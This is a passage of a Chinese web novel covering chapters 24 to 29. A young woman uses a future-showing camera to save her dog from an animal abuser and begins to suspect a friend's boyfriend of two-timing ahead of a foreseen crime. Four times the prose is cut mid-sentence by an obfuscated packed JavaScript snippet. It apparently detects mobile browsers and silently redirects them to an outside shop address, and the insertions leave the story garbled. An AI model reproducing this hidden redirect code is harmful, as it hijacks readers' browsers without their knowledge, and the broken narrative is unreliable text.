“不清楚哎，但我好像从小就和动物有缘，我在老家养了条黑土松，也很漂亮。汤圆平时爱吃些什么？我明天给它带点。” 林龙抱起汤圆，抬头看向樊欣，樊欣则不知该怎么回答，只能扶额苦笑： “我给它带够狗粮啦，而且，这两天就会把它送回去，不用费心哒。要不，咱还是尽快开工吧？唐老师说这次的网审材料需要按要求的格式调整一下。” 于是，众人开始各司其职。其中，负责现场汇报的魏万相对比较轻松，照料汤圆的任务便落到了他的肩上，但樊欣见他表情有些尴尬，还特意确定了一下： “你真的没问题么？不过，稍微遛一下以后，让它自己呆着就行。” “学姐放心吧，我……我可以的。” 魏 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“你是说……你的狗丢了么？前阵子我的猫也丢了，才一会儿的功夫，就没影儿了，到现在也没出现。” “你们别急，我们一起去找找看。” 园内的热心人还帮着樊欣他们开始找狗，但都无济于事。虽说汤圆之前也有过“自己遛自己”的经验，但顶多就在家附近跑跑，他很聪明，一般不会擅自跑远，更别说是在这种陌生的地方。 诸种复杂的情绪深深地揪着樊欣的心脏，想想外公还在住院，自己不但没帮上什么，还将他们视若家人的汤圆给弄丢了。她不知该怎样面对当下的情况，除了漫无目的地喊着小狗的名字，她好像什么也做不了。 而且，近来G大周边频频传出虐待动物的新闻，要是汤圆……她真的不敢往下想，因为越想越觉得崩溃。 天气预报之前就说今晚会有阵雨，而这场雨，偏偏就挑在樊欣最绝望的时候落下了。 她在雨中大喊着，提醒其他人赶紧回去，这种情况下，樊欣仍是不想因为自己的事影响到别人。然而，伙伴们完全没有撤退的意思，同样固执地继续扩大搜索范围，其中，魏万更是急哭了，他拨开一簇簇灌木，手被划伤了也没停下，口中还不停喃喃着： “对不起，都是我的错，对不起……” 创业园内都找遍了，仍是没有狗子的身影。不知不觉间，樊欣走到了自己刚买的二手车旁，看到了副驾上的相机。立在原地犹豫了一秒左右，便也顾不得相机是否防水，径直将其取出，抱着试试看的态度，朝着园区门口的空地按下了快门。 若是汤圆以及离开了创业实训基地，那这儿是它的必经之路。 樊欣一边暗自祈祷着能在相机中看到有用的信息，一边抹去了显示屏上的水渍……神奇的是，大雨突然停了，相机里的照片，又莫名增加了…… 24. 第24章 而且，这一回，相机中照片的数量增多了两张。 第一张照片中，汤圆瑟缩在画面左下角的灌木丛边，它的脖颈被一条绳子给束缚住了，动弹不得。尽管汤圆在其中的占比不大，看不真切，但樊欣能感应到——它正被一股深深的恐惧缠绕着。 顾不得翻到下页，樊欣就先注意到了照片下方显示的时间，竟然就是在2分钟以后。 那么现在，她就需要在2分钟内迅速做出抉择： 选项一：直接冲过去，抱回汤圆。这样的做法看上去比较有效，但也存在风险，万一有人躲在暗处，那以樊欣一人之力，怕是很难全身而退。更重要的是，这样做的话，她很可能会打草惊蛇，即便救出了汤圆，也会让潜伏的施虐者逃之夭夭。 选项二：翻看后一张照片，再做打算。这样一来，就会在很大程度上压缩掉选项一的时间，但这是樊欣最终的选择。 另一张新增的照片中，出现了一个背影，那人的手里还攥着一个反光的物件。放大后，樊欣看清了——那是一把刀。 一瞬间，樊欣只觉脊背发凉，再看相机下方显示的时间，竟是2分30秒以后……来不及了。 果然，就如那相机预料的一般，汤圆出现了。 他们一行人先前也经过过这里，只是当时狗子被人拴住，捂紧了嘴一起藏匿于暗影之中，才未被发现。 但现在，只有樊欣一人，她想要呼唤同伴们都已经来不及了。 因为，那个手持尖刀的施虐者已经出现，而且樊欣已经看清了对方的脸： “是……是你？” 那张俊美的面孔此刻却显得异常狰狞，他应该早就意识到了樊欣的存在，但毫不畏惧，反而略带玩味地看着她，一边快步朝她移动，一边病态地念叨着： “好美的一张脸，我还没试过……人……我会让你的美……成为永恒……” 见到这一幕，汤圆再也顾不得害怕，开始疯狂地朝那人叫唤起来，小小的身体爆发出大大的能量，甚至挣脱了绳索的控制，直接朝凶手的脚上咬去。 他吃痛地踹飞了汤圆，甩了一下被雨淋湿的长发，顺便拨开了被汗水黏在前额的刘海，露出一双猩红的眼。见樊欣因担心汤圆受伤，主动朝自己冲来，他喜不自禁，直接举刀向她砍去…… *** 那一刻，樊欣还以为自己又要穿回去了。 想来真是好笑啊，自己都得到了重生的机会，还年轻了整整十岁，依旧没活出个名堂来……还真是，有点失败啊。 “你想什么呢？遇到点事儿就知道闭眼逃避、认怂。活得这么失败……不是你自己活该么？” 最初指引自己穿越过来的那道声音再次响起，樊欣仍是辨不清它的来源，但下意识睁开了眼，却倒吸了一口凉气——刀尖与自己的鼻尖，仅仅隔了十多公分。 千钧一发之际，身后有股力量将樊欣给拽了回去，几乎在同一时刻，她的背后跃出一道黑影，上前夺过了恶人的刀，三下五除二就把对方给打趴下了。 一切发生得太快，樊欣只觉得自己的CPU都给干烧了，待她好不容易重新冷静下来时，就看到林龙抱着受伤的汤圆，将披头散发的徐瑞祥踩在脚下，不忘回身朝自己解释了一句： “要不是你们学校拳赛的规矩太多，那一场，我不见得会输。” *** “哎你们听说了吗？那个徐瑞祥很小的时候父母就离异了，然后他跟着母亲生活，但继父总是虐待他。他的好多信息都被扒出来了，但那些帖子没多久就被删了，得抓紧看。” 数日后，宿舍内，薛蕾正认真地研究着G大校园论坛内的帖子，本以为徐可可也会很感兴趣，没想到她却一脸淡漠： “没什么好看的，没人想知道施害者的故事，他害了那么多条命，根本没得洗。而且，这次的处罚，对他来说真的太轻了。” 前一晚，林龙生擒了在G大周边绑架、虐待动物的罪魁祸首，也就是曾到“灵犀摄影工作室”拍照的徐瑞祥，那个戴着鸭舌帽、梳着低马尾的时髦男生，其实是个人面兽心的家伙。 由于他的面孔实在漂亮，徐可可也曾受到了蒙蔽，甚至对他还有些心动。谁知道他所谓的“小动物保护协会义工”身份，不过是用以接近受害对象的幌子罢了。创业园内不少走失的动物，都死在了他手里，就连汤圆都差点遇害。 “确实是太轻了，校方为了风评不受损，直接把这事给压下来了，他被拘留几天后，吃个处分，这事就算过去了。用他们的话来说，他是行为不端，但没伤人，不算违法。” 想到这事，樊欣气愤又无奈，尽管当晚就报了警，但这么大的事，却还是等来了个不了了之的结局。 “还没伤人？欣子你不是差点被他给捅了么？” “是啊，要是我真被捅伤甚至捅死，那他肯定得进去；但这一次，他的伤反而比较重，重点是那个位置还没有监控。要不是警方从他手机里查到了大量虐猫伤狗的照片和视频，估计这事儿，他也不会认的。” “不过，我听说他本来有希望保研的，这样一来，应该是没戏了。虽说这样的后果和他的罪行相比不算什么，但起码不能让恶人过得那么顺利。” 尽管徐可可容易被好看的皮囊迷惑，但在大是大非面前，还是分得很清楚的。从昨晚开始，她就对这徐瑞祥恨得牙痒痒，并再次对自己的眼光产生了怀疑。但仔细想想，她又有些担心起来： “欣子，你说那疯子过几天被放出来以后，不会报复你们吧？” 毕竟，要不是被樊欣发现、被林龙制服，徐瑞祥还能继续戴着昔日的假面具招摇撞骗，凭借那张天使般的面孔做出恶魔般的丑行。还没等樊欣回答，薛蕾就抢先说道： “他敢？！这回带着刀呢，都被我哥给揍趴下了，以后还不得夹着尾巴做人？要论实战，就那李浩凡，也不是他的对手，而且我哥最喜欢动物了，没把徐瑞祥打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女生相貌平平，状态也乖巧随和，客气地询问着： “请问，这是‘灵犀摄影工作室’么？” “是啊！” 室内的众人异口同声，这是他们简单休整后迎来的第一个客人，自然干劲满满。但这会儿的樊欣，却没意识到自己已然变了脸色，因为这位顾客不是别人，正是她在医院中偶遇的那个“岚岚”。 虽说目前她还无法判断这姑娘和薛蕾男友的关系，但不知为何，她的心中腾起了一阵不祥的预感。 这女孩本身，应该没什么问题，她的气质太温和了，眼神也很清澈，似水般人畜无害。既然这样，樊欣又为什么会从她身上嗅到一股危险的气息呢？ “我的护照过期了，需要重新拍一下证件照，看到你家公众号的介绍挺有意思的，就想着过来试试的。” “那你，想拍什么样的呀？可以来这儿看看我们的服装，如果有需要，可以挑选一身合适的，我们还有美妆服务……” 好在此时大家的注意力都在顾客身上，几乎无人察觉到樊欣的异常。可可更是很快用自己的亲和力征服了对方，引得张岚还没正式开始拍摄，就忍不住咨询起来： “你们这儿还挺好的，除了证件照以外，是不是还能拍摄写真呀？比如那……那种情侣写真……” 25. 第25章 “情侣写真？” 这个话题对徐可可而言，有点陌生。 她对恋爱充满了向往，但一直没机会步入一段合适的感情，连她最近看上的那个徐瑞祥，也被证实了是个变态。不过，可能正是因为缺乏感情经历，反倒尤其向往爱情。 “对的，我还没问过我男朋友，但如果我想拍的话，他一定会答应的。” “没有，不好意思我们暂时还没开辟这块业务。” 樊欣也不知道自己是怎么了，听到张岚的咨询后，立马就回绝了。可能她的潜意识中还存有顾虑，甚至开始怀疑对方口中的男友，会不会就是薛蕾爱得死去活来的那个江涛。 要是张岚真把江涛带来拍情侣照的话，还不知这工作室会变成怎样的修罗场了。只是，一味逃避也不是办法，现在解谜的关键已经送到自己眼前，哪怕为了薛蕾，樊欣也得好好理清这桩case。 进入工作状态后，樊欣还是很专业地完成了证件照的拍摄。张岚很配合也很随和，上次在医院偶遇时，江涛口中的张叔叔，应该就是张岚的父亲，非富即贵的样子，看起来还有点眼熟。 拍照时，樊欣就有种强烈的预感——这一回，相机又会出现异常照片。 果不其然，在为张岚拍到最后一张时，数量又不对劲了。 樊欣熟练地朝后翻去，便看到了对方的未来—— 彼时的张岚，小腹微微隆起，看上去已经怀有身孕。画面中的她，行走在一片小湖边，沐浴在月色中，正满脸幸福地低头看着自己尚未出世的宝宝。 照片下方的时间，显示为三年后，月份，则早于之前相机对薛蕾入狱的预言。 是她？！ 照片的提示，帮助樊欣彻底想起了自己觉着张岚眼熟的原因。 “你也是G大的学生么？” “对，我今年考上了G大的研究生，刚来这儿呢。” “那……方便问问你是什么专业的么？” “当然可以啊……我是汉语国际教育专业的，你们也是G大的吧？我听说，这个园区里有一部分公司是大学生创业的实践项目，你们好厉害啊！” “没有没有，那你的父……” “嗯？” 如果只是好奇对方的学生身份和专业，还能看成是同学间的惺惺相惜，但若樊欣继续追问张岚的亲属信息，就容易叫人起疑了，于是她赶紧改口： “哦我是想问……问一下你的付款方式。” “我都可以，看你们怎样方便。” 樊欣这一问，倒让可可发现了她的异常，毕竟，还没交付照片就急着收费，这完全不是樊欣的作风啊。而且，这家伙不知在想什么，问完付款方式又愣愣地定在了原地，好像被人点了穴似的。 其实，樊欣是在努力回忆——自己上一段生活经历中，与张岚有关的信息。 耐不住可可在一旁催促，她便匆匆收了设备，抱歉地向顾客表示突感身体不适，照片要等两天才能修完。善解人意的张岚自然没什么意见，礼貌道别后，就离开了工作室。 “欣子，要我陪你去医院么？从开始拍摄那会儿，你的脸色就不太对劲。” 徐可可有点担心地看向樊欣，却被她给婉拒了，现在，她要尽快冷静下来，理顺当下的情况。 *** 樊欣之所以会觉得张岚眼熟，是在新闻报道里见过对方的照片。 只是，那则新闻来自另一个平行宇宙，而樊欣“重新”的这个时空，与之相比滞后了十年左右，根本没法查到这种“尚未发生的事件”。 那就，先从张岚的父亲入手。樊欣记得，当时的新闻之所以掀起了不小的波澜，一是因为案件性质恶劣，二是涉案人员的家庭背景都不简单。 果然，将G市某高官职位输入搜索引擎后，网页便跳转出了相应的新闻报道，配图C位的中年男子就是樊欣那天在医院见到的，江涛口中的“张叔叔”。 张岚是G大汉语国际教育专业的研一学生，这个专业在G大属于“专硕”，只需读两年。按这个时间推算，她应该一毕业就结婚了，结婚后很快便有了宝宝，然后就…… “欣子，你忙啥呢，怎么看起来这么紧张兮兮的？” 樊欣正沉浸在张岚事件之中，完全没注意到薛蕾是什么时候回宿舍的，直接被对方的搭话给吓了一大跳，只好强装镇定，反问了一句： “你……你今天这么早就回来啦？” “对呀……我男朋友最近比较忙，本来说好一起吃饭的……不过，最近他的脾气好多了，对我也越来越上心了。你看，他给我买的项链，最新款，好看吧？他还买了好多吃的，一起尝尝呗。” “谢……谢谢啊……” 樊欣见薛蕾满脸欣喜的样子，本想问点什么，也忽感于心不忍，只好先收住了。 *** 在樊欣之前生活的那个世界里，这个张岚，是桩轰动一时的惨案中的受害者。 作为G市高官的独生女，张岚完全不像某些官二代那样骄纵跋扈，相反，她谦虚低调、待人和善。虽说相貌普通，但温柔贤惠，和她接触过的好些人，都曾感叹过： “谁要是娶到了张岚，真是天赐的福气。” 用婚嫁来衡量女性的价值，本就是一种陋习，但谁都没有想到，婚姻真会成为她悲剧命运的开端。 作为典型的乖乖女，张岚毕业后就听从家长的建议，嫁给了所谓门当户对的男子。男方的家庭背景与她相似，可谓“知根知底”又“强强联合”。 之前的她，没什么恋爱经验，见家里安排的对象又是打小就认识的哥哥，便欢欢喜喜地出嫁了。 张岚没什么野心，就想这样安安稳稳地生活下去，平平安安地经营好自己的小家庭。因此，当宝宝来临时，她立即将喜讯分享给了各位亲友，大家都真心地为这个美好的姑娘送上了祝福，因为她值得。 不久后，张岚的丈夫提出要带她出门一趟，说是准备了恋爱纪念日的惊喜。她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果不爱，可以离婚啊，何必选择这样极端的方式？因为张岚太好了，好到他完全找不到破绽和借口去提离婚，他既不想背负负心汉的骂名，又放不下张岚家的财产，才设计了这样一出对他来说“两全其美”的毒计。 当时，受害者的□□照片很快传遍了全网，樊欣作为一名媒体从业者，自然也会关注到这则堪称“丧心病狂”的案件。然而，两位凶手反倒在网络世界里美美隐身，大众几乎都没见过那两货的丑恶嘴脸。 可以确定的是，薛蕾肯定和那个案子没有关系，樊欣后来还在街上偶遇过她，知道她虽然过得不好，但没做过违法乱纪、伤天害理的事。 但樊欣现在所处的这个世界，即便和之前的那个很相似，到底还是两个不一样的平行时空。结合近期相机给出的种种暗示，她总觉得心里不是滋味。 “这个女孩子，我见过哎，她也是你们的客户吗？” 薛蕾见樊欣又开始发呆，便主动将点心分好，给她递了过去，发现她的电脑屏幕正停留在处理照片的界面，而照片里的那个客户——正是张岚。 26. 第26章 “啊……对，她是我们的客户，蕾姐你是在哪里见到她的？” “就打了个照面，不熟悉。我男朋友好像说她是……是自己老家的妹妹什么的。” 薛蕾答得十分轻松，一来是她太相信江涛了，二来是因为她这样漂亮，而张岚一眼看上去那么普通，对她而言不存在任何威胁。 说到底，薛蕾不过是长了个恋爱脑罢了，张岚也是温顺明理的好姑娘，还是那男的“既要又要”，才把其他人都给害了。 尽管还不能确定事件走向会不会和先前新闻里报道的一样，暂时也不能肯定江涛就是其中的核心人物，但樊欣已经把他给恨上了，尤其是张岚的网名，更让人觉得不对劲。 樊欣再次打开了张岚预约拍照的记录，她的网名赫然写着四个字——“山风江影”。 *** 原本，樊欣计划这阵子跟着薛蕾，多多给她拍照，以此来找线索，反正这姐姐很臭美，不会拒绝的。没想到，计划还没开始，她就接到了唐老师的电话，对方的语气听起来非常着急，但又透露着欢喜： “大小姐啊，你们最近手头的其他事要放一放啦，留给你们准备的时间不多啦！” “准备……什么？” “省里创业大赛的评审系统，采取的是盲审形式，你们的材料够硬气，直接给选上了！” “唐老师您……您的意思是——我们的项目被校赛淘汰，但直接晋级省赛了？” “是啊，但其他的晋级团队这段时间一直在参加集训，校里给请了不少专家，但我们是刚被挖掘出的‘黑马’，需要在最短的时间内改出最好的版本才行！” 樊欣听得出来：唐老师的情绪很激动，因为她也没想到传媒学院的独苗项目，竟会这样争气。 根据以往的传统，G大会重点培育在校赛中得奖的项目，其他被淘汰的那些，知道自己没机会了，在上传网审材料的环节就比较敷衍。 但樊欣他们的“灵犀相机”，还是抱着“有始有终”的原则，认真对待每一步，竟直接击败了部分被专家打磨过的项目，获得了珍贵的晋级名额。 当她将这一消息告诉自己的伙伴们时，大家都觉得不可思议，就连了解樊欣不擅长开玩笑的徐可可都忍不住发问： “欣子你不是在逗我们吧？G大之前好像还没有过这样的先例。” “那么，这一次，就由我们来开创先例。” *** 省赛的名额确定之后，G大的创新创业工作部还专门召开了一次会议，樊欣作为“灵犀相机”的代表出席，社恐属性爆发，躲在会议室的后排，却频频被领导call到： “‘灵犀’这么好的项目，怎么会在校赛环节就给淘汰掉了？当时的评委都有哪些，是怎么打分的？” “前阵子的集训，他们团队是不是都没有参加？接下来有什么需求尽管和我们提，我们会专门为你们安排几次专家培训。” “既然是‘黑马’，就要跑得更远哪！” 樊欣的肉身还是个普通的研二学生，灵魂却已在另一个时空的职场上摸爬滚打了十年，本以为应付当下的局面已是绰绰有余，但她还是只会尬笑着不停点头，但内心是愉快的。 她的愉快不是因为校领导的褒赞和承诺，而是想到了自己能和这群伙伴们走向更大的舞台了，他们的努力，并没有白费。 *** “灵犀摄影工作室”在完成手头的订单后，不得不再度挂出了“暂停营业”的牌子。因为他们要抓紧时间赶进度，为不久之后的省赛打基础、做准备。 “欣子，上次来拍照的那个张岚，对你的技术非常满意呢。” 在收到项目晋级的消息之后，工作室的公众号就由可可负责打理了，因为樊欣一忙起来，就容易着急，没法像可可那样耐心地对待每个客户。 “满意就好啊。” “你知道么？她好像和欣子的男朋友挺熟悉的，我上次去校本部借书的时候，还看见他俩一起吃饭来着，但我记得她的专业，应该不在那个校区的呀……说不定也是去办事的吧。” 听到这里，樊欣的脊背一阵发凉，脑海中又出现了相机预言的画面——戴着手铐的薛蕾和漫步在湖边的张岚，她总是忍不住在心里将这两个场景联系在一起。 这个时空的薛蕾，真的会成为那场悲剧的帮凶么？ *** 很快，G大的相关部门就为“灵犀相机”项目团队安排了专家培训，但和樊欣他们想象中的不太一样。 在她的想象中，他们会来到一间安静的教室，见到一位和蔼又睿智的专家，循循善诱地指出项目的不足之处，让大家都感到受益匪浅。 现实则是，一行人匆匆赶到通知中的会议室时，里头已经乱哄哄挤了不少人了。原来，G大秉持“性价比优先”原则，一旦请到了专家，便希望对方能把晋级的项目顺带都指导一遍；因而，即便今天的专家说是为“灵犀”请的，他们也得排号。 更令人失望的是，这所谓的专家，身上有股江湖骗子的气质：贼眉鼠眼、头又秃鼻子下方的痣又很大，关键是非常傲慢，几乎不拿正眼瞧人。 这一次，相关校领导没有到场，组织培训的老师向大家隆重介绍了一下这位名为“蔡苟”的专家后，便由他来主持大局了。 这个蔡老师在点评项目时，可谓侃侃而谈，一旦有团队向他问起修改意见时，却又惜字如金。 轮到“灵犀”团队这匹“黑马”时，蔡老师更是嫌弃得不想多言，还故意嘀咕着： “这样的项目怎么又被捡起来了，真是搞不懂省里的评判标准啊……你们要修改材料的话，要在‘社会效益’这个部分多放一点内容，其他我也没什么好说的了。” 樊欣一行人在会议室里干等了一下午，却只得到了这样一句所谓的“点拨”。郑虔性子直，没破口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的这种状态，反而比正面硬刚更有效，伤害不大，但侮辱性极强。坐在台上的蔡苟见状，也是气不打一处来，但看到对方强健的胸肌和结实的大臂，多少还是有点犯怵，便克制住了。 和团队的其他成员一样，徐可可也没把蔡专家当回事，本想着能通过学校安排的集训快速完善备赛材料，没想到这反而成了大家需要打卡完成的任务，没太大意义。 但这一次，她还敏锐地捕捉到了铁军的情绪变化。这姑娘做事很靠谱，但生性腼腆，到了人多的地方就不爱说话，所以大家也都对她的这份“安静”习以为常了。 然而，今天来参加培训的铁军不但一言不发，还一味蜷缩在会议室的角落里，垂着头，脸上显露出一种淡淡的恐惧。 见她这样，若是直接开口询问，怕也问不出什么，可可便趁着其他人在和蔡苟拉扯的间隙，观察了一圈到场参加培训的几支团队，意外见到了个熟人： “是他？” 28. 第28章 “咦！这雪花酥是蓝莓味的吗？还挺好吃的哎，是谁做的呀？” 樊欣使劲挤到两人中间，尽力岔开话题，生怕她们聊起自己和江涛的关系，在众人面前失了态。 然而，已经来不及了，因为张岚也认出了薛蕾，忙不迭与之确认： “你是不是也报了学校附近那家瑜伽馆的课啊？” “对对对，怪不得我见到你，就感觉好熟悉呀！” 听到她俩这么说，樊欣悬着的心，总算恢复了平静。只是，这平静的时间持续得不长，她又开始担忧起来：这俩姑娘成天把“男朋友”挂嘴边，放任她们这样聊下去，不会谈崩么？ 但转念一想，若江涛真是她想象中“脚踏两条船”的渣男，就算樊欣不希望她们中的任何一个受到伤害，对她们来说，受伤也是早晚的事，而且，长痛不如短痛。再说，她樊欣又没做错什么，何必这样心虚呢？ “你没事吧？今天看你好像有点不对劲。” 林龙不知是什么时候靠过来的，他好像总能在第一时间关注到樊欣的变化。 “我没事，对了，突然想问一下——要是你妹妹带着自己的对象，在街上和你偶遇了，你会怎么做？” “我啊……我会上去警告他：要他再敢欺负小蕾，想想自己会是什么下场……” “不不不，我这问题就是一种假设，不是特指谁。比如蕾姐重新找了个对象，你没见过对方，有一天，你们在街上偶遇了……” “那样的话，就上前正常打个招呼咯，如果是偶遇的话，尽量不打扰他们；要是他们时间方便的话，我会请他们吃个饭，就这样。” 这林龙，是把自己当成什么“先天请客圣体”了么，总想着请人吃饭……但话说回来，他的这种反应才比较正常吧。樊欣后来又向薛蕾打听过初见张岚时的情况，据说这姑娘直接冲到了江涛面前，很亲昵的样子，若只是远房亲戚，不至于这样。 万幸的是，樊欣担心的互撕场景并未出现，薛蕾和张岚似乎还挺投缘，两人还互留了联系方式。 要说那江涛也是挺谨慎的，他用种种借口告诫薛蕾在朋友圈发照片时，不能留下和他有关的影像，因而至今都没暴露。 危机解除，大家相安无事，樊欣都怀疑自己先前是不是多虑了，正纠结时，脑海中的声音再次响起： “别管闲事，否则不会有好下场。” *** 当晚，樊欣回到宿舍，发现其他人都不在。 可可和铁军去参加彩妆社团的培训了，她俩负责的那部分参赛材料做好后，就想着精进技术，以更好地服务摄影工作室的客户。 樊欣放下包，伸了个懒腰，取了一罐刚买的啤酒慢慢朝着小阳台踱去，拉开阳台的窗帘，才发现薛蕾正躲那儿看星星呢，便返身回去又给她也拿了一罐。 “给你。” “欣子你回来啦？我都没听到声音。” 见到樊欣递过来的啤酒，薛蕾先是摆摆手，下意识想要拒绝，因为她对自身的皮肤和身材管理有着严苛的要求。但稍作犹豫后，还是接过了。 “蕾姐，有个问题，我一直很好奇啊。” “什么？” “你说你长得好看，人缘又好，堂堂外院学生会主席，成绩好、工作能力强……那个江涛，到底哪点吸引你，为什么你对他就……就这么死心塌地？” “欣子你现在怎么变得这么会说话了？我记得你之前就冷冰冰的，也不大过问别人的事。” “有吗？但我现在说的，确实是实话呀。” “你们可能不知道，我刚来G大那会儿，其实有点自卑。我是从小地方出来的，读书时年年当班长，还以为自己有多优秀，直到来了G大，才发现真是‘人外有人，天外有天’。” “蕾姐果然从小就厉害。” 樊欣呷了一口啤酒，天气转凉了，她没买冰的，喝起来却觉得凉凉的。 “来G大后，我想继续竞选班长，但压根没人选我，那时的我，看起来土土的，也变得越来越没自信。直到有一天，我参加了学生会组织的‘化装舞会’，遇到了一个男生，只有他看到了坐在角落里的我。” “我们学校还办过‘化装舞会’？” “对呀，基本每年都有，但之前你和可可学姐成天泡在图书馆里，根本不关注这些。” “然后呢？那个男生为你做了些什么吗？” “那倒没有，只是在我最尴尬、最没信心的时候，他看到了我，给了我力量……” “但你后来是怎么变得越来越好的？” “我开始早睡早起，阅读、健身、背单词、学习化妆和穿搭，还参加了一些社团和志愿服务项目，成绩提升了，也交到了更多的朋友。再后来，我进入了外国语学院的学生会，还留任了……” “对嘛，失败本身没有意义，真的应该感谢的，是那个从失败里汲取经验，努力走出来的你自己。你的改变，听起来和他也没有多大的关系。” “你说的这些，我都懂。但我现在好想已经……已经习惯和这个人在一起了。再说，江涛长得还行，我们年纪相仿、学历相当，他的家境也很不错，看起来是个蛮合适的结婚对象。” “结婚？但他之前那么对你……” “江涛的脾气是不好，但他最近也变得越来越温和了，只是经常都见不着人。” “还有那天，你在我们工作室里见到的那……那个张岚……” 樊欣也不知道自己是怎么了，明明很怕自己的朋友受伤，不想成为揭开对方伤疤的那个人；而且，脑海中的声音也提醒过自己不该多管闲事，但还是忍不住向薛蕾提到了那个名字。 “欣子，这一次，连你都意识到不对劲啦？” 薛蕾也喝了一口酒，这会儿阳台外面的小径没有人，安静得仿若天地间只剩她俩在喝酒谈心。 “这么说，蕾姐你知……知道……” “我又不傻，第一次见到张岚时，我就看出江涛不对劲了。先不说远房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985912|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹会不会这样热络，欣子你记不记得那一次，你在宿舍里，想要帮张岚P掉证件照的耳钉？” “我记得，拍摄时她本来想取掉的，我说P起来也很方便就没……” 樊欣还没把话说完，就看到对方默默拿起了脖子上的吊坠，也就是江涛最近送给薛蕾的那一条项链，竟和张岚的那副耳钉是同一系列的。 “还有雪花酥，大部分人在做这道甜品的时候喜欢选用蔓越莓，但江涛爱吃蓝莓。你看今天张岚带的那些，也是加了蓝莓的。当然，这些都不能说明啥……” “那你有直接问过……” “你知道我为什么会去学瑜伽么？” “不知道……难道是因为张岚？你正好在那附近看到她了，就想通过这样的方式去接近对方，以此确定她和江涛的关系……” 薛蕾未置可否，狡黠一笑，反问道： “欣子，你们最近一直在忙比赛的事，是不是很久没看过其他人的朋友圈了？” 樊欣也不晓得对方为啥突然换了话题，懵懂地点点头，本想取出手机翻看一下，薛蕾却等不及她自己找答案，就急不可耐地道出了原委： “之前和我们一个宿舍的媛媛学姐，毕业后不是一直很难适应公司的节奏嘛，她索性辞职开了一家瑜伽馆，还发了朋友圈召唤大家去捧捧场，本来要联系你们的，但我和她说过了，先等你们这阵忙完……” “人呢？！” 薛蕾还没说完，就被“闪亮登场”的徐可可给打断了。 今晚的美妆培训中，可可和铁军作为搭档需要给对方化妆练手，铁军的技术炉火纯青，把外形本不占优势的可可化成了一个大美妞；相较之下，可可的手艺就有点令人汗颜，奈何她还特别自信，使得铁军作为“受害者”，也不敢多说什么。 “可可学姐给大家买了双皮奶，有红豆、芋泥、血糯米和芒果的，学姐们先挑。” 待樊欣和薛蕾从阳台走出来时，只见铁军垂着头，委屈巴巴的样子，赶忙上前关心。凑近时才发现，她那张淡淡的面孔被糊了一脸不合时宜的大浓妆，难以想象她这一路，是怎么走回来的。 樊欣只觉心疼又好笑，好不容易忍住了，薛蕾那头却直接笑出了声，一边取来卸妆水帮铁军清理，一边吐槽可可： “可可学姐，不带你这样欺负人的啊，看把我们军儿弄成啥样了都？” “你们不懂，化妆老师问了一下谁愿意挑战高难度的‘欧美妆’，就我举手了。我问过军儿了，她也对我的手艺非常满意，对吧？” 铁军尴尬地笑了一下，不知该怎么回答。作为校心理协会会长，徐可可向来敏感且善解人意，但涉及化妆这一块，她是真辨不清好赖啊…… “我看啊，可可学姐你还是继续负责接待业务吧，化妆这块，还是交给铁军好了。” 薛蕾的建议非常中肯，引得身后的樊欣连连点头，另外，樊欣还看向可可和铁军，问了一句： “你们，对瑜伽有兴趣么？” 29. 第29章 徐可可和铁军是被樊欣拖来瑜伽馆的，一方面，她们最近沉迷工作，肩颈酸痛，确实需要劳逸结合；另一方面，既然这瑜伽馆是熟人开的，当然得拨冗去支持一下啦。 但她没想到，郑虔和魏万会跟来，更离谱的是，林龙也来凑热闹了。 “蕾姐，媛媛学姐这瑜伽馆，男生也能来么？” 樊欣正悄摸和薛蕾讨论着呢，身着专业服饰的瑜伽馆老板，也是她们口中的“媛媛学姐”款款走来，温柔地解答着： “当然可以啦，不过，来锻炼的朋友都要签一下这个免责协议。” “好……好专业啊。” 樊欣一边签字一边抬头向许媛打了个招呼，也不知是不是自己看错了，怎么感觉对方冲着可可使了个眼色，神神秘秘的。 但不久后，樊欣就明白了这其中的玄机了——因为她看到张岚也来了，还拉着一个满脸假笑的男生，也就是薛蕾的男友江涛。 那一刻，樊欣只觉自己的CPU都要烧了，她还来不及举起相机，甚至都没时间思考，就被媛媛学姐给请上了楼： “今天中午的这场，算是‘熟人局’，多谢你们带朋友一起来捧场。听说有几位朋友是第一次接触瑜伽，所以我选了一些对新手来说比较友好的动作体式，希望各位都能在今天的课程中，有所收获。” 尽管媛媛姐亲自授课，让樊欣心里放松了些，但仍是有点不安，不确定今天与张岚的“偶遇”，是不是可可参与设计的。 当然，现场有个人比她要慌得多，那就是江涛，他原本是不想来练什么瑜伽的，怎奈张岚这次非常坚持。这姑娘乖巧好哄，很少对他提什么要求，这次却在张叔叔的面前说想带他一起来体验，一时没找到合适的理由推脱，只好跟了过来。 没想到，薛蕾也在场，有那么一个瞬间，他都有点怀疑——自己这两个女朋友是不是发现了什么，才故意安排了今天这场活动的，但薛蕾的反应却很快打消了他的顾虑： “宝贝？你怎么会来这儿，你是特意来找我的么？” 